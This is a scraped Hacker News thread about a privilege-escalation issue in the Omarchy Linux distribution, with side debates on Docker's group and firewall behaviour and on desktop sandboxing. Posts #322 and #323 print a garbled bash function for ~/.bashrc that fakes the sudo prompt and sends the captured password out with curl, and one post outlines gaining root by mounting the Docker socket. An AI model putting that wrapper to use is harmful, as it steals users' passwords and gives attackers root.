Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

321–330 of 590 posts

Re: Omarchy: Any User Process Can Escalate to Root

#321
post #308

Earlier quoted context omitted.

> people who want to use Arch Linux but have it configured the way DHH does Then they don't actually want to use Arch Linux. The Arch Linux way is to read the excellent wiki documentation, learn about all the choices available, and then make all of those choices so the system is configured the user's way instead of some celebrity's way.

Couldn’t you say that about any Arch spinoff? Seems to be the no true scotsman fallacy.

> Couldn’t you say that about any Arch spinoff?

I can, and I do.

https://wiki.archlinux.org/title/Arch_Linux#User_centrality

> It is targeted at the proficient GNU/Linux user, or anyone with a do-it-yourself attitude who is willing to read the documentation, and solve their own problems.

Re: Omarchy: Any User Process Can Escalate to Root

#322
post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

But if an attacker can put arbitrary code into your .bashrc, you are already executing arbitrary malicious code.

but not as root

Re: Omarchy: Any User Process Can Escalate to Root

#323
post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

on Windows the UAC (GUI sudo equivalent) requires actual user input (keyboard, mouse) on a dialog presented in a secure way (can't be faked by malware)

Re: Omarchy: Any User Process Can Escalate to Root

#325
post #65

Earlier quoted context omitted.

There is only so much a human can master in his lifetime. And if you choose to master the art of video production, then you are probably not spending that much time on mastering the thing you yap about on camera…

> if you choose to master the art of video production, then you are probably not spending that much time on mastering the thing What? Its perfectly possible to master two things. Video production isnt _that_ hard. Especially as lighting, shooting adding graphics and editing film is much much easier than 10 years ago.

I was watching one guy explaining the xv6 code and it was pretty much one shot with a single camera pointing at the listing on paper. Not sure if you need professional video if you want to really expound on something.

Re: Omarchy: Any User Process Can Escalate to Root

#326

Earlier quoted context omitted.

But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…

> I always make my user part of the docker group I don't, and I migrated to Podman because Docker is poorly designed and full of footguns. For example, it it will silently overwrite iptables rules and punch holes in your firewall.

I'm sorry, what?

As an avid Docker user, where should I begin reading about these issues?

Re: Omarchy: Any User Process Can Escalate to Root

#327
post #121

Earlier quoted context omitted.

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.

But what exactly are you protecting then?

Linux root/regular-user model comes from an ancient time with multi-user architecture where you defended against one user taking over a big machine they didn't own.

But today on personal computers all the good stuff is inside regular users accounts, and there is nothing valuable to be gained by becoming root.

So the whole security model is broken, it protects the OS system files that nobody cares about, while allowing any piece of software complete access to valuable user files.

Re: Omarchy: Any User Process Can Escalate to Root

#328

Earlier quoted context omitted.

>Everybody knows this. I didn't know this.

Do you know about docker compose overwriting your carefully set firewall rules? That’s the other docker thing…

Go on, what other docker things should we know?

Re: Omarchy: Any User Process Can Escalate to Root

#329

Earlier quoted context omitted.

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

I just switched over to it from Ubuntu. So far the nice thing is that it gives you a fully decked out hyprland setup without any of the hassle and pretty good UX. The problem I've always had with trying out a tiling window manager like hyprland is you're going to spend a very long time trying to get everything just right. With Omarchy I get a really nice hyprland setup right out of the box.

Github is awash with people's dotfiles including fully featured DEs built on top of things like Hyprland and Noctalia, and they don't require you to use a mess of a distro to use them.

Re: Omarchy: Any User Process Can Escalate to Root

#330

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell an…

Its opposite. Windows and MacOS lacks proper sandboxing. While openbsd has pinsyscalls and linux has seccomp-bpf. Windows and MacOS only have filesystem and worse version of user namespace sandboxes, anything else and you need to write a kernel extension or rely on a hypervisor. > Unfortunately implementing an Apple style architecture on Linux would be very difficult. The apple apps kind of thing already exists and i…

macOS absolutely has sandboxing, what are you talking about? But the reality is that you need custom sandboxing tools less when you don't have basic problems like "anything that runs ever can read my ~/.ssh directory without problem" or "you can hijack my password by interposing sudo and thus do anything". This does not matter because macOS will see a program signed by Corp XYZ is trying to read data not owned by that cryptographic signature, and it can't escape the code signature check, and it will flag it. A program cannot simply read your password from stdin and elevate privileges silently, because granting new privileges requires communicating with a higher privilege program so it can delegate to you, and that program has a non spoofable prompt. And so on.

You can use Linux's sandboxing functionality to make a pretty hardened server. If you take in mind the physical deployment and go the extra mile, it can be very secure. The Linux desktop is not and will never be secure in its current form from things like extremely basic local malware. You would have to redesign much of the desktop stack from the init system downward so you could easily do things signature-based identity, proper per-identity secure storage and key management, securitizing elevation of privileges, getting rid of setuid, etc.

Post reply on HN